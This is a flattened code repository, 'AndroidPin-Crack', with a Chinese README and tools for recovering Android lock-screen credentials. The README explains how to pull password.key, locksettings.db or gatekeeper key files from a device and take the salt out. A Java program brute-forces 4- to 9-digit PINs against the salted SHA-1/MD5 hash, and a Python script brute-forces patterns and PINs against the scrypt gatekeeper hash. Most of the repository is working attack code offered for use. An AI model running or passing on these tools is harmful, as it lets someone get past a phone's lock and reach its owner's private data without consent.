├── Android 6.0 Low(Java)
├── Source
│ ├── .gitignore
│ ├── build.gradle
│ ├── CrackPin.iml
│ └── src
│ │ └── main
│ │ └── java
│ │ └── www
│ │ └── pinghang
│ │ └── com
│ │ └── cn
│ │ └── Crack.java
└── Testfile
│ ├── password.key
│ └── locksettings.db
├── assets
├── demo.gif
├── markdown-img-paste-20180808145321576.png
├── markdown-img-paste-20180808150303953.png
├── markdown-img-paste-20180808150646260.png
├── markdown-img-paste-20180808150754823.png
├── markdown-img-paste-20180808151504400.png
├── markdown-img-paste-20180808151852981.png
├── markdown-img-paste-20180808153513472.png
├── markdown-img-paste-20180808153617915.png
├── markdown-img-paste-20180808153957331.png
└── markdown-img-paste-20180808154004433.png
├── Android 6.0(Python)
├── gatekeeper.pattern.key
└── bruteforce-m-lockscreenpwd.py
└── README.md
/Android 6.0 Low(Java)/Source/.gitignore:
--------------------------------------------------------------------------------
1 | /build
2 |
--------------------------------------------------------------------------------
/assets/demo.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/demo.gif
--------------------------------------------------------------------------------
/Android 6.0 Low(Java)/Testfile/password.key:
--------------------------------------------------------------------------------
1 | 3F00D68707C9CB840F1B51040784B8F856666E30B6BB5B4BB80DD8147C3EC663F07E2424
--------------------------------------------------------------------------------
/Android 6.0(Python)/gatekeeper.pattern.key:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/Android 6.0(Python)/gatekeeper.pattern.key
--------------------------------------------------------------------------------
/Android 6.0 Low(Java)/Testfile/locksettings.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/Android 6.0 Low(Java)/Testfile/locksettings.db
--------------------------------------------------------------------------------
/assets/markdown-img-paste-20180808145321576.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808145321576.png
--------------------------------------------------------------------------------
/assets/markdown-img-paste-20180808150303953.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808150303953.png
--------------------------------------------------------------------------------
/assets/markdown-img-paste-20180808150646260.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808150646260.png
--------------------------------------------------------------------------------
/assets/markdown-img-paste-20180808150754823.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808150754823.png
--------------------------------------------------------------------------------
/assets/markdown-img-paste-20180808151504400.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808151504400.png
--------------------------------------------------------------------------------
/assets/markdown-img-paste-20180808151852981.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808151852981.png
--------------------------------------------------------------------------------
/assets/markdown-img-paste-20180808153513472.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808153513472.png
--------------------------------------------------------------------------------
/assets/markdown-img-paste-20180808153617915.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808153617915.png
--------------------------------------------------------------------------------
/assets/markdown-img-paste-20180808153957331.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808153957331.png
--------------------------------------------------------------------------------
/assets/markdown-img-paste-20180808154004433.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808154004433.png
--------------------------------------------------------------------------------
/Android 6.0 Low(Java)/Source/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'java-library'
2 |
3 | dependencies {
4 | implementation fileTree(dir: 'libs', include: ['*.jar'])
5 | }
6 |
7 | sourceCompatibility = "1.7"
8 | targetCompatibility = "1.7"
9 |
--------------------------------------------------------------------------------
/Android 6.0 Low(Java)/Source/CrackPin.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # **AndroidPin-Crack** #
2 |
3 | ------------------------------------------------------------------------------
4 |
5 | 破解安卓6.0锁屏密码 手势密码、 PIN密码 、字符数字组合密码的python 脚本
6 |
7 | 破解安卓6.0以下(不包含6.0)锁屏密码、手势密码、PIN密码、字符数组组合密码 Java工程
8 |
9 |
10 |
11 | ------------------------------------------------------------------------------
12 |
13 | ### **Android 6.0以下(不包含安卓6)锁屏密码暴力破解** ###
14 |
15 | ##### 1、Screenshot
16 |
17 |
18 | 
19 |
20 | ##### 2、Usage
21 | 安卓6.0以下破解需要在手机系统里面提取两个文件(Password.key、Locksettings.db) 默认在/data/data/system 下面
22 |
23 | 
24 |
25 | >用sqlite数据库管理软件(我这里用的是[SqliteSpy++](http://dl.pconline.com.cn/download/765800.html) ),打开locksettings.db文件,找到lockscreen.password_salt 这一行,将数值复制出来.我这里是(-5743813920095439816)
26 | >记作:` salt:-5743813920095439816l ` **<------注意尾部 要加上l(小写的L)**
27 | 
28 |
29 |
30 | >用记事本打开pasword.key文件,如果无法打开就把后缀名更改为 "password.key.txt",打开后内容如下
31 | >记作:`PasswordkeyHashAndMD5:3F00D68707C9CB840F1B51040784B8F856666E30B6BB5B4BB80DD8147C3EC663F07E2424 `
32 | 
33 |
34 |
35 |
36 | >用Android Studio或Idea 导入本工程,搜索关键字 `替换salt` 、`替换PasswordkeyHashAndMD5`
37 | >将源码中的salt和PasswordkeyHashAndMD5 替换成自己的即可!
38 | 
39 |
40 |
41 |
42 | ------------------------------------------------------------------------------
43 |
44 | ### **Android 6.0(不包含硬加密)锁屏密码暴力破解** ###
45 |
46 | ##### 1、Screenshot
47 | 
48 | ##### 2、Usage
49 |
50 | 破解Android6.0锁屏密码方法,提取出手机系统里面的 `gatekeeper.pattern.key` 目录大概是data/system/gatekeeper.pattern.key
51 | >gatekeeper.password.key **(数字密码)**
52 | >gatekeeper.pattern.key **(手势密码)**
53 |
54 |
55 |
56 | #### **!!!!!!!!!!!!!!!!需要注意的一点!!!!!!!!!!!!!!!!!**
57 | **如果最后面是01的话暂时不能用这种方式破解,需要在手机上进行暴力破解,以后我将会更新。**
58 | 
59 |
60 |
61 | 将提取出来的 `gatekeeper.patter.key` 与 `bruteforce-m-lockscreenpwd.py`放同一目录,最后执行如下命令即可!
62 |
63 | 
64 |
65 | >运行本脚本,直接使用python即可
66 | >python bruteforce-m-lockscreenpwd.py
67 |
68 |
69 | ##### 3、Dependencies
70 | 1. [scrypt](pip install scrypt)
71 | 2. [hashlib](pip install hashlib)
72 |
--------------------------------------------------------------------------------
/Android 6.0(Python)/bruteforce-m-lockscreenpwd.py:
--------------------------------------------------------------------------------
1 | import os
2 | import struct
3 | import scrypt
4 | import hashlib
5 | import binascii
6 | import itertools
7 |
8 | #------------------------Global Variable-----------------------
9 | N = 16384
10 | r = 8
11 | p = 1
12 | #--------------------------------------------------------------
13 |
14 |
15 | def Test(signature,meta,salt,password):
16 | password = binascii.unhexlify(password);
17 | to_hash = meta
18 | to_hash += password
19 | hash = scrypt.hash(to_hash, salt, N, r, p)
20 |
21 | print 'signature %s' % signature.encode('hex')
22 | print 'Hash: %s' % hash[0:32].encode('hex')
23 | print 'Equal: %s' % (hash[0:32] == signature)
24 | pass
25 |
26 |
27 | def PatternBrute(signature,meta,salt):
28 | to_hash = meta
29 | matrix=[]
30 | for i in range(0,9):
31 | str_temp = '0'+str(i)
32 | matrix.append(str_temp)
33 |
34 | #The characters of 00-08 are arranged, at least 4 Numbers are arranged, and all are arranged at most.
35 | min_num=4
36 | max_num=len(matrix)
37 |
38 | for num in range(min_num,max_num+1):#04 -> 08
39 | iter1 = itertools.permutations(matrix,num)#Pick "n" of the "9" Numbers.
40 | list_m=[]
41 | list_m.append(list(iter1))#Store the resulting array in the list_m list.
42 | for el in list_m[0]:#I'm going to go through all of these n Numbers.
43 | strlist=''.join(el)#list to str. [00,03,06,07,08]-->0003060708
44 | to_hash = meta
45 | to_hash += strlist
46 | hash = scrypt.hash(to_hash, salt, N, r, p)
47 | if(hash[0:32] == signature):
48 | print 'Password',strlist
49 | pass
50 |
51 |
52 |
53 | def Pin4NumBrute(signature,meta,salt):
54 | stri = ""
55 | password = stri
56 | to_hash = meta
57 | hash = scrypt.hash(to_hash, salt, N, r, p)
58 | for i in range(0,10000):
59 | stri=str(i)
60 | if(i<1000):
61 | if(i%1000<=9):
62 | stri="0"+"0"+"0"+str(i)
63 | elif(i%1000<=99):
64 | stri="0"+"0"+str(i)
65 | else:
66 | stri="0"+str(i)
67 | password = stri
68 | to_hash = meta
69 | to_hash += password
70 | hash = scrypt.hash(to_hash, salt, N, r, p)
71 | #sucess!!!!!!!!!!!!!!
72 | if(hash[0:32] == signature):
73 | print "password:"+stri
74 | break
75 | print stri
76 | pass
77 |
78 |
79 |
80 | def Pin6NumBrute(signature,meta,salt):
81 | stri = ""
82 | password = stri
83 | to_hash = meta
84 | hash = scrypt.hash(to_hash, salt, N, r, p)
85 | for i in range(0,1000000):
86 | stri=str(i)
87 | if(i<100000):
88 | if(i%100000<=9):
89 | stri="0"+"0"+"0"+"0"+"0"+str(i)
90 | elif(i%100000<=99):
91 | stri="0"+"0"+"0"+"0"+str(i)
92 | elif(i%100000<=999):
93 | stri="0"+"0"+"0"+str(i)
94 | elif(i%100000<=9999):
95 | stri="0"+"0"+str(i)
96 | else:
97 | stri="0"+str(i)
98 | password = stri
99 | to_hash = meta
100 | to_hash += password
101 | hash = scrypt.hash(to_hash, salt, N, r, p)
102 | #sucess!!!!!!!!!!!!!!
103 | if(hash[0:32] == signature):
104 | print "password:"+stri
105 | break
106 | print stri
107 | pass
108 |
109 |
110 |
111 |
112 |
113 |
114 | def main():
115 | f = open('gatekeeper.pattern.key', 'rb')
116 | blob = f.read()
117 | s = struct.Struct('<'+'17s 8s 32s')
118 | (meta, salt, signature) = s.unpack_from(blob)
119 | print '===============key Hash===================='
120 | print '%s' % (signature.encode('hex'))
121 | print '==========================================='
122 | print ''
123 | print ''
124 | print '------------>Brute force now!!!!!----------'
125 | Test(signature,meta,salt,"00010204060708")
126 | #需要暴力破解,根据需求解开对应注释即可.
127 | #PatternBrute(signature,meta,salt) 手势密码破解
128 | #Pin4NumBrute(signature,meta,salt) 4位数字密码暴力破解
129 | #Pin6NumBrute(signature,meta,salt) 6位数字密码暴力破解
130 |
--------------------------------------------------------------------------------
/Android 6.0 Low(Java)/Source/src/main/java/www/pinghang/com/cn/Crack.java:
--------------------------------------------------------------------------------
1 | package www.pinghang.com.cn;
2 | import java.security.MessageDigest;
3 | import java.security.NoSuchAlgorithmException;
4 | import java.util.Locale;
5 | import java.lang.String;
6 | import java.security.KeyPair;
7 | import java.security.PrivateKey;
8 | import java.security.PublicKey;
9 |
10 | public class Crack {
11 | static String toHex(byte[] ary){
12 | final String hex="0123456789ABCDEF";
13 | String ret="";
14 | for(int i=0;i>4)&0xf);
16 | ret+=hex.charAt(ary[i]&0xf);
17 | }
18 | return ret;
19 | }
20 |
21 | //salt-->
22 | public static String getSalt(){
23 | return Long.toHexString(5396646208785659850l);
24 | }
25 |
26 | public static String passwordToHash(String password) {
27 | if (password == null) {
28 | return null;
29 | }
30 | byte[] hashed = null;
31 | try {
32 | byte[] saltedPassword = (password + getSalt()).getBytes();
33 | byte[] sha1 = MessageDigest.getInstance("SHA-1").digest(saltedPassword);
34 | byte[] md5 = MessageDigest.getInstance("MD5").digest(saltedPassword);
35 | return toHex(sha1)+toHex(md5);
36 | } catch (NoSuchAlgorithmException e) {
37 | return null;
38 | }
39 | }
40 |
41 | public static void main(String[] args) {
42 | String PasswordkeyHashAndMD5 = "BE6FE050DF8CA9C5F5BE6DB931BF4E16B4C665621972D4257DE1144DBC8DD6FA9E6CED8A";
43 | String strPinNumber="";
44 | String hashbuf="";
45 |
46 | //4位 纯数字
47 | for(int i=0;i<10000;i++)
48 | {
49 | strPinNumber=String.valueOf(i);
50 | if(i<1000)
51 | {
52 | if(i%1000<=9)
53 | strPinNumber="0"+"0"+"0"+String.valueOf(i);
54 | else if(i%1000<=99)
55 | strPinNumber="0"+"0"+String.valueOf(i);
56 | else
57 | strPinNumber="0"+String.valueOf(i);
58 | }
59 | hashbuf = passwordToHash(strPinNumber);
60 | System.out.println(strPinNumber);
61 | if(PasswordkeyHashAndMD5.equals(hashbuf))
62 | {
63 | System.out.println("");
64 | System.out.println("");
65 | System.out.println("");
66 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
67 | System.out.println(" !!!Success!!! ");
68 | System.out.println("Debug info:");
69 | System.out.println("----------------------------------------------");
70 | System.out.println("salt:"+getSalt());
71 | System.out.println("PasswordKeyHash:"+hashbuf);
72 | System.out.println("----------------------------------------------");
73 | System.out.println("");
74 | System.out.println("");
75 | System.out.println("Password:"+strPinNumber);
76 | System.out.println("");
77 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
78 | return;
79 | }
80 | }
81 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
82 | //5位 纯数字
83 | for(int i=0;i<100000;i++)
84 | {
85 | strPinNumber=String.valueOf(i);
86 | if(i<10000)
87 | {
88 | if(i%10000<=9)
89 | strPinNumber="0"+"0"+"0"+"0"+String.valueOf(i);
90 | else if(i%10000<=99)
91 | strPinNumber="0"+"0"+"0"+String.valueOf(i);
92 | else if(i%10000<=999)
93 | strPinNumber="0"+"0"+String.valueOf(i);
94 | else
95 | strPinNumber="0"+String.valueOf(i);
96 | }
97 | hashbuf = passwordToHash(strPinNumber);
98 | System.out.println(strPinNumber);
99 | if(PasswordkeyHashAndMD5.equals(hashbuf))
100 | {
101 | System.out.println("");
102 | System.out.println("");
103 | System.out.println("");
104 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
105 | System.out.println(" !!!Success!!! ");
106 | System.out.println("Debug info:");
107 | System.out.println("----------------------------------------------");
108 | System.out.println("salt:"+getSalt());
109 | System.out.println("PasswordKeyHash:"+hashbuf);
110 | System.out.println("----------------------------------------------");
111 | System.out.println("");
112 | System.out.println("");
113 | System.out.println("Password:"+strPinNumber);
114 | System.out.println("");
115 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
116 | return;
117 | }
118 | }
119 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
120 | //6位 纯数字
121 | for(int i=0;i<1000000;i++)
122 | {
123 | strPinNumber=String.valueOf(i);
124 | if(i<100000) // 099999
125 | {
126 | if(i%100000<=9)
127 | strPinNumber="0"+"0"+"0"+"0"+"0"+String.valueOf(i);
128 | else if(i%100000<=99)
129 | strPinNumber="0"+"0"+"0"+"0"+String.valueOf(i);
130 | else if(i%100000<=999)
131 | strPinNumber="0"+"0"+"0"+String.valueOf(i);
132 | else if(i%100000<=9999)
133 | strPinNumber="0"+"0"+String.valueOf(i);
134 | else
135 | strPinNumber="0"+String.valueOf(i);
136 | }
137 | hashbuf = passwordToHash(strPinNumber);
138 | System.out.println(strPinNumber);
139 | if(PasswordkeyHashAndMD5.equals(hashbuf))
140 | {
141 | System.out.println("");
142 | System.out.println("");
143 | System.out.println("");
144 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
145 | System.out.println(" !!!Success!!! ");
146 | System.out.println("Debug info:");
147 | System.out.println("----------------------------------------------");
148 | System.out.println("salt:"+getSalt());
149 | System.out.println("PasswordKeyHash:"+hashbuf);
150 | System.out.println("----------------------------------------------");
151 | System.out.println("");
152 | System.out.println("");
153 | System.out.println("Password:"+strPinNumber);
154 | System.out.println("");
155 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
156 | return;
157 | }
158 | }
159 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
160 | //7位 纯数字
161 | for(int i=0;i<10000000;i++)
162 | {
163 | strPinNumber=String.valueOf(i);
164 | if(i<1000000) // 099999
165 | {
166 | if(i%1000000<=9)
167 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i);
168 | else if(i%1000000<=99)
169 | strPinNumber="0"+"0"+"0"+"0"+"0"+String.valueOf(i);
170 | else if(i%1000000<=999)
171 | strPinNumber="0"+"0"+"0"+"0"+String.valueOf(i);
172 | else if(i%1000000<=9999)
173 | strPinNumber="0"+"0"+"0"+String.valueOf(i);
174 | else if(i%1000000<=99999)
175 | strPinNumber="0"+"0"+String.valueOf(i);
176 | else
177 | strPinNumber="0"+String.valueOf(i);
178 | }
179 | hashbuf = passwordToHash(strPinNumber);
180 | System.out.println(strPinNumber);
181 | if(PasswordkeyHashAndMD5.equals(hashbuf))
182 | {
183 | System.out.println("");
184 | System.out.println("");
185 | System.out.println("");
186 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
187 | System.out.println(" !!!Success!!! ");
188 | System.out.println("Debug info:");
189 | System.out.println("----------------------------------------------");
190 | System.out.println("salt:"+getSalt());
191 | System.out.println("PasswordKeyHash:"+hashbuf);
192 | System.out.println("----------------------------------------------");
193 | System.out.println("");
194 | System.out.println("");
195 | System.out.println("Password:"+strPinNumber);
196 | System.out.println("");
197 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
198 | return;
199 | }
200 | }
201 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
202 | //8位 纯数字
203 |
204 | for(int i=0;i<100000000;i++){
205 | strPinNumber=String.valueOf(i);
206 | if(i<10000000) // 099999
207 | {
208 | if(i%10000000<=9)
209 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i);
210 | else if(i%10000000<=99)
211 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i);
212 | else if(i%10000000<=999)
213 | strPinNumber="0"+"0"+"0"+"0"+"0"+String.valueOf(i);
214 | else if(i%10000000<=9999)
215 | strPinNumber="0"+"0"+"0"+"0"+String.valueOf(i);
216 | else if(i%10000000<=99999)
217 | strPinNumber="0"+"0"+"0"+String.valueOf(i);
218 | else if(i%10000000<=999999)
219 | strPinNumber="0"+"0"+String.valueOf(i);
220 | else
221 | strPinNumber="0"+String.valueOf(i);
222 | }
223 | hashbuf = passwordToHash(strPinNumber);
224 | System.out.println(strPinNumber);
225 | if(PasswordkeyHashAndMD5.equals(hashbuf))
226 | {
227 | System.out.println("");
228 | System.out.println("");
229 | System.out.println("");
230 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
231 | System.out.println(" !!!Success!!! ");
232 | System.out.println("Debug info:");
233 | System.out.println("----------------------------------------------");
234 | System.out.println("salt:"+getSalt());
235 | System.out.println("PasswordKeyHash:"+hashbuf);
236 | System.out.println("----------------------------------------------");
237 | System.out.println("");
238 | System.out.println("");
239 | System.out.println("Password:"+strPinNumber);
240 | System.out.println("");
241 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
242 | return;
243 | }
244 | }
245 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
246 | //9位 纯数字
247 | for(int i=0;i<1000000000;i++){
248 | strPinNumber=String.valueOf(i);
249 | if(i<100000000) // 099999
250 | {
251 | if(i%100000000<=9)
252 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i);
253 | else if(i%100000000<=99)
254 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i);
255 | else if(i%100000000<=999)
256 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i);
257 | else if(i%100000000<=9999)
258 | strPinNumber="0"+"0"+"0"+"0"+"0"+String.valueOf(i);
259 | else if(i%100000000<=99999)
260 | strPinNumber="0"+"0"+"0"+"0"+String.valueOf(i);
261 | else if(i%100000000<=999999)
262 | strPinNumber="0"+"0"+"0"+String.valueOf(i);
263 | else if(i%100000000<=9999999)
264 | strPinNumber="0"+"0"+String.valueOf(i);
265 | else
266 | strPinNumber="0"+String.valueOf(i);
267 | }
268 | hashbuf = passwordToHash(strPinNumber);
269 | System.out.println(strPinNumber);
270 | if(PasswordkeyHashAndMD5.equals(hashbuf))
271 | {
272 | System.out.println("");
273 | System.out.println("");
274 | System.out.println("");
275 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
276 | System.out.println(" !!!Success!!! ");
277 | System.out.println("Debug info:");
278 | System.out.println("----------------------------------------------");
279 | System.out.println("salt:"+getSalt());
280 | System.out.println("PasswordKeyHash:"+hashbuf);
281 | System.out.println("----------------------------------------------");
282 | System.out.println("");
283 | System.out.println("");
284 | System.out.println("Password:"+strPinNumber);
285 | System.out.println("");
286 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&");
287 | return;
288 | }
289 | }
290 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
291 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
292 |
293 | }
294 | }
295 |
--------------------------------------------------------------------------------